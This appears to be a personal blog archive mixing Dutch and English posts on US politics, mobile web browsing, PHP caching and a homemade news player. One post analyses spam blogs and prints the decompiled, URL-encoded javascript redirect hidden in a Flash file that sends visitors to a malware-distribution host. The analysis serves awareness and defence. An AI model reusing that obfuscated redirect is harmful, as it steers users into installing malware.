“Spreading my thoughts around”; de Amerikaanse verkiezingen

Snel een paar willekeurige (en vanzelfsprekend eerder oppervlakkige) bedenkingen bij de Amerikaanse verkiezingen;

  • Amerikanen en socialisme, dat gaat nooit goed komen. In een -overigens over heel de lijn opmerkelijk- interview vroeg een journaliste bezorgd fronsend aan running-mate Biden of Obama “van Amerika geen socialistisch land zoals Zweden zou willen maken”. De centrum-rechtse conservatieve premier van één van de meest welvarende landen ter wereld zal het graag horen.
  • Applaus voor Obama uit zowat heel Europa, we duimen (bijna) allemaal voor hem, maar zouden er veel Europese landen zijn waar een niet-blanke kans maakt om zo’n belangrijke functie uit te oefenen?
  • Als het regent in Washington (Parijs heeft al lang afgedaan), druppelt het bij ons. De keuze voor een McCain of een Obama kan misschien versterkend dan wel ontmoedigend werken voor politieke stromingen in Europa, denk aan Clinton met Blair en Schröder en aan Bush met Berlusconi en Aznar (of is het dan toch Spanje dat de toon aangeeft; Aznar werd al in 2004 opgevolgd door socialist Zapatero)?
  • Waarom hebben de Republikeinen McCain naar voren geschoven? Wie besloot hem met Palin op te zadelen? Zijn ze, mede door aanslepende oorlogen, budgettaire tekorten en andere kredietcrisissen de kluts kwijt misschien? Waar zijn al die (vermaledijde maar blijkbaar toch inspirerende) neo-cons?
  • Het moeten (met de kredietcrisis en Obama’s succesvolle campagne) verwarrende tijden zijn voor neo-conservatieve free-market-adepten. Niet alleen in de USA, maar ook op pakweg LVB.net?

My Mobile bookmarks

A quick list of the most frequently used sites on my mobile phone.

  1. gmail mobile: my “homepage”. attachments and images could be handled better, but still, a great mobile web-app.
  2. google reader mobile: too many blogs, too little time. reading up on my blogfeeds everywhere i can (and yes, that includes the loo)
  3. smartphone/pda version of bbc news; the beeb was one of the first to have a version for PDA’s and smartphone’s, still great stuff.
  4. deredactie mobile: I just love the mobile version of their awful “desktop-oriented” website. Guess they took a close look at the BBC’s mobile site, no? Anyway, it would be even greater if they added links to multimedia (i.e. not force-feed video as they do on their very-very-broadband-version) and if they optimized the color usage because the readability of the purple night-version is sub-optimal.
  5. facebook mobile: I never really liked Facebook, but I must admit I’ve found myself spending time on it on an almost daily basis. The mobile version is an important part of that usage pattern.

Less frequently used mobile sites include; Truvo’s yellow and white pages, Wapedia (as wikipedia doesn’t provide a mobile version, they should) and Linkedin mobile. And although the webkit-based nokia browser handles normal sites quite well, the only non-mobile-optimized site in my bookmarks is my blog’s dashboard.
And you, what sites do you visit on your IPhone, Blackberry or Nokia e71?

Is the web too fat for your IPhone?

So you have a spiffy mobile phone with a top notch browser that does a decent job at displaying “desktop-oriented” websites and you use it to surf the web regularly, visiting some of the bigger news-sites in Belgium. What does that mean, from the point of view of data transfer and bandwidth usage?

data usage for 4 pages on 5 sites (click on image for more, methodology see below)

That sure is a lot of data, Captain! What does that mean?

  1. You will have to be patient, because downloading 1 or 2 Mb for that initial page will probably be gruesomely slow (especially if you’re on EDGE because there’s no 3G-coverage)
  2. You will end up paying good money for all that data transfer, because data is money when you’re on mobile time
  3. You might even curse your handset or crashing browser (more on google), because all that data will end up in RAM and these devices do not come with tons of that.

In these broadband-times, website builders seem to have completely forgotten about best practices for download size of complete web pages (html + all js/css/images/…). This means that a lot of websites should be considered non-accessible on mobile devices.
If you want your normal website to be usable on IPhone’s, HTC’s and other Nokia’s, you’ll have to start taking download size into account again. That means taking some technical measures (using mod_deflate and mod_expires for example) and making hard functional choices to remove some stuff (on this blog dropping the rather useless mybloglog-widget saved me 210Kb, going from 10 to 7 posts per page another 200). And if you want to target mobile users specifically, you’d better invest in a mobile-specific version of your site!


The methodology followed to measure these download sizes;

  • disable flash (there’s no such thing on mobiles, with flash these figures would have been even far worse)
  • disable memory cache (in about:config), because it can’t be cleared easily
  • clear disk cache
  • open up firebug and click on ‘net’ to monitor downloads
  • download homepage, random 2nd page, random 3th page and the homepage again

The spreadsheet (on google docs) contains more data (compare above results with those for 2 mobile-specific sites)

M’n thuis is waar m’n boompje staat

Maarten van ChâteauBrys is een verfijnd mens; de man blogt in een online kasteel, kan een goed glas wijn appreciëren en hij loopt blijkbaar ook niet zomaar ergens tegen aan te zeiken. Over dat wildplassen deelde hij ons onlangs, naar aanleiding van een incident op een parking langs de autosnelweg, immers het volgende mee;

Zeker vijf mannen stopten aan het eind van de parking, gingen een paar meter het grasplein op, om er hun ding te doen. Ik dacht dat hondepoep een probleem was. Even snel je gevoeg doen, met je schoenen in een andermans gezeik. Fijn. Is 30 cent dan teveel om naar het toilet te gaan en je voeten proper te houden?

Nu plas ik toevallig ook graag in openlucht en geloof me, dat heeft echt niets met die 30 cent te maken. Ik geniet er gewoon van om mijn patatten rustig tegen een boom of in het struikgewas af te gieten. Misschien heeft dat met oerinstincten te maken, met het ritueel afbakenen van tuin en territorium. Of met een dégout van urinoirs en hun onfrisse geurtjes en geluiden, met hun kille, onpersoonlijke en toch te intieme atmosfeer? Zo’n urinoir mag op het eerste zicht misschien beschaafder lijken, maar wat is dat eigenlijk meer dan een flauw excuus om tegen een muur te mogen pissen? Dan kun je toch beter op een gewone WC gaan? En als we daar dan toch zijn, waarom zouden we ons dan zelfs niet direct rustig op het porselein installeren? Dan kunnen we die “Heren doe de bril omhoog, de dames zitten ook graag droog”-bordjes volledig naar museum of rommelmarkt verwijzen. Want rustig op de WC zitten, dat is voor ons mannen toch een aangename bezigheid? Mijn sinds kort zindelijk Liezeken krijgt het zelfs al in haar kakapipi-boekje ingelepeld; “bij mama gaat het snel, ze kan heel hard plassen” en bij papa daarentegen “duurt het vaak een hele poos, hij leest altijd op de wc en zegt alleen maar ‘hmmm’ als je hem roept”. Zelfs broer “neemt af en toe een boekje mee”!
Nee, voor mij is het tegen op een boom of op de pot dus, alles ertussen is gezeik. Dat wildplassen is zo vreemd nog niet. Ge komt er nog eens mee buiten en ge voelt op dat moment niet alleen de urine maar ook de stress uit uw lichaam wegvloeien. En laat mij U geruststellen Maarten; natte voeten heb ik er nog maar zelden aan over gehouden.

Blog action day: over armoede en appels

Het is vandaag “blog action day” en in blogland wordt er over armoede geschreven. Gisteren was het Apple-hoogmis en elders in de blogosphere worden de nieuwe macbooks de hemel in geprezen.
Volgens Google Blogsearch (cijfers van rond 14hOO) werd er de afgelopen 24 uur 5.655 blogposts over armoede gepubliceerd en 17.527.426 over de nieuwe macbooks. Bij Technorati volgen ze minder blogs en het verschil is er ook minder extreem, maar toch (en laat u niet vangen door de schaalverschillen);

Ge hoort me niet zeggen dat we allemaal egoïsten zijn (maar dat zijn we dikwijls wel), ge hoort me niet zeggen dat blinkend nieuw speelgoed een collectieve obsessie is (nee, want het moet niet blinken) en dat we de moeilijke dingen liever uit het oog verliezen (want we kijken liever de andere kant op), maar misschien kunnen we toch eens nadenken over mogelijke verbanden tussen verblindende consumptiedrang en schrijnende armoede? En over onze prioriteiten?
Update: Wie het meer voor daden dan woorden heeft, kan ik oa. microkredieten aanraden. Om zelf zo’n minileningen toe te kennen, kun je op bv. kiva, alterfin of microkrediet voor moeders terecht.

Fun with caching in PHP with APC (and others)

After installing APC, I looked through the documentation on php.net and noticed 3 interesting functions with regards to session-independent data caching in PHP;

When talking about caching, apc_delete might not be that important, as apc_store allows you to set the TTL (time to live) of the variable you’re storing. If you try to retrieve a stored variable which exceeded the TTL, APC will return FALSE, which tells you to update your cache.
All this means that adding 5 minutes worth of caching to your application could be as simple as doing;

if (($stringValue=apc_fetch($stringKey)) === FALSE) {
$stringValue = yourNormalDogSlowFunctionToGetValue($stringKey);
apc_store($stringKey,$stringValue,300);
}

From a security point-of-view however (esp. on a shared environment) the APC-functions should be considered extremely dangerous. There are no mechanisms to prevent a denial of service; everyone who “does PHP” on a server can fill the APC-cache entirely. Worse yet, using apc_cache_info you can get a list of all keys which you in turn can use to retrieve all associated values, meaning data theft can be an issue as well. But if you’re on a server of your own (and if you trust all php-scripts you install on there), the APC-functions can be sheer bliss!
And off course other opcode caching components such as XCache and eAccelerator offer similar functionality (although it’s disabled by default in eAccelerator because of the security concerns).

Trading eAccelerator for APC

Yesterday I somewhat reluctantly removed eAccelerator from my server (Debian Etch) and installed APC instead. Not because I wasn’t satisfied with performance of eAccelerator, but because the packaged version of it was not in the Debian repositories (Andrew McMillan provided the debs), and those debs weren’t upgraded at the same pace and thus broke my normal upgrade-routine. Moreover APC will apparently become a default part of PHP6 (making the Alternative PHP Cache the default opcode cache component). Installation was as easy as doing “pecl install apc” and adding apc to php.ini. Everything seems to be running as great as it did with eAccelerator (as most test seem to confirm).

Nasty blog, scary flash, why are you attacking me?

Yesterday I noticed that all of a sudden no less then 6 new sites linked to this small-time blog. Great huh? Except when checking out those blogs (all on google’s blogger-platform by the way), I quickly saw they were fake, attempting to trick users into installing malware on their windows PC’s.
Being the curious would-be hacker I am, I took the plunge to see how these guys go about trying to infect careless users;
  1. the blogpost contains what seems to be a youtube movie, but which actually is just a animated gif with a link behind it
  2. when clicking “the movie” to play, a swf-file is downloaded (blog.swf)
  3. that blog.swf (which i downloaded on my linux-box and decompiled on the commandline using flare) contains this simple code:
    • this.getURL(‘javascript:eval(unescape(‘%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%2F%2F%6D%30%38%62%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%64%65%66%61%75%6C%74%22%3B’))’);
    • which translates roughtly into go to http://m08b.com/in.cgi?default
  4. and that URL then takes you for a rollercoaster ride, going through several redirector-sites before arriving on a dark corner of the web where you’re told to install an activeX-component to watch a movie or a codec or sometimes even be told (the irony) to install antivirus software from some unknown company.

Some lessons learned;

  • Flash is evil (or it can be) as it allows attackers to hide malicious code inside a nice looking (and binary) swf-file.
  • Don’t trust the incoming links functionality google’s blogsearch provides (i switched back to technorati for the ‘binnenkomers’-widget on my blog)
  • The ‘report web forgery‘ function in Firefox (under ‘help’) works great. Use it!

Eindelijk gevonden: het journaal op deredactie.be

Ik heb een alternatieve “journaal-player” voor de VRT bij elkaar gehackt, want op deredactie.be vind ik mijn gading niet. Pas op, ik ben een fan van de VRT nieuwsdienst. Echt! Maar op deredactie.be staat er echt te veel om mijn aandacht te schreeuwen. Te veel video, te veel nieuwsgeticker op elke pagina, op heel de site. Als ik een gewoon artikeltje zou zijn, ik zou me ook bedeesd in een hoekje van de pagina terugtrekken, stilletjes hopend dat iemand me toch zou opmerken.
En het Journaal, dat komt er vreemd genoeg dus ook amper aan bod. Het Journaal, ge weet wel, dat programma op televisie waarin ze al die clipjes uit die videoband aan elkaar plakken? Een zekere “Sponzen Ridder” wilde onlangs online naar het VRT nieuws kijken (iets over banken ofzo?) en dat ging als volgt;

Dus ging ik naar www.vrtnieuws.net. Daar vond ik een band met voorbijzwevende flash-filmpjes, echter geen journaal. Ik klikte helemaal bovenin de pagina op “nieuws”. Niets. Ik klikte vijf centimeter lager drie centimeter meer naar rechts op “journaal 7”. Clipjes. Geen overzicht, niks. Voorbijschuivende filmpjes, zonder inzicht in de structuur, of een soort inhoudstafel. Toen ging ik naar www.vtm.be, klikte op “nieuwsuitzendingen” en kon mooi en selectief de verschillende onderdelen bekijken van de afgelopen week vol nieuwsuitzendingen.

Volledig mee eens! Op deredactie.be hoort een grote knop “Bekijk Het Journaal” en als je daarop klikt, dan kom je op een pagina waar niets anders op moet staan dan zo een player en een inhoudtafel. Maar omdat dat er dus niet staat, ben ik zelf aan de slag gegaan.
Wat extra info voor de “technisch begiftigden”;

  • die verschrikkelijk opdringerige videoband bovenaan deredactie.be haalt een xml-bestand (atom) af om te weten wat er beschikbaar is voor publicatie (dank U firebug)
  • dat atom-bestand verwijst naar programma-specifieke atom-files met daarin titel, linken naar flv, mp4 en wmv-bestanden in lage en hoge kwaliteit en naar een thumbnail
  • met dat 2de atom-bestand maak ik een media-rss-bestand met per item de titel, link naar image en link naar één video-bestand (ik koos voor de mp4, standaard in lage kwaliteit)
  • dat media-rss bestand wordt dan zonder verpinken ingelezen als playlist door de magnifieke JW FLV-player, die op die manier volautomatisch de flash-interface inclusief de “inhoudstafel” opbouwt.